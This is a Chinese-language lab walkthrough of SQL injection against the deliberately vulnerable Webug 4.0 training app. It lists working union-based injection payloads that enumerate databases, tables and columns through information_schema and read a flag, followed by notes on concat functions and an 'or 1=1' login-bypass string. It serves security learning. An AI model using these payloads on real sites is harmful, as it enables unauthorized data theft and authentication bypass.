前言
环境:Apache2.4.39
数据库:MySQL8.0.12
源码:Webug4.0
工具:Phpstudy
0x00测试过程
?id=1 //测试url是否可控。
?id=1’ //加单引号报错
?id=1’ or 1=1 –+ //注释掉后面的内容可用–+或#浏览器编码为%23
?id=1’ order by 1 %23 //利用order by判断字段个数(从1开始尝试,发现3页面报错,因此半段字段个数为2个,接下来查看数据库的名字)
?id=1’ union select 1,group_concat(schema_name) from information_schema.schemata%23 //查看数据库的名字
?id=1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’webug’ %23 //查看webug这个数据库的表
?id=1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’flag’ %23 //查看flag这个表
?id=1’ union select 1,flag from webug.flag %23 //查看一下flag字段
0x02get到了
- concat(str1,str2,…) 返回结果为参数间无间隔符连接起来的字符串,如果其中有一个参数为NULL,返回结果为NULL
- concat_ws(separator, str1, str2, …) 含有分隔符地连接字符串,第一个参数为制定的分隔符
- group_concat(str1,str2,…) 连接一个组的所有字符串,并以逗号分隔每一条数据
- union 用于合并两个或多个select语句的结果集,需要注意的是union内部的select须拥有相同数量的列,且列的数据类型也要相同。
- 逻辑顺序 true and false or true 结果为true 这样可以构造万能密码 Select * from admin where username=’admin’ and password=’’or 1=1#’
- 注释掉后面内容时可用 –+ 或者 # 后者在浏览器中会进行url编码为%23
- 注入的一般流程为:输入点–>数据库–>数据表–>数据列–>数据项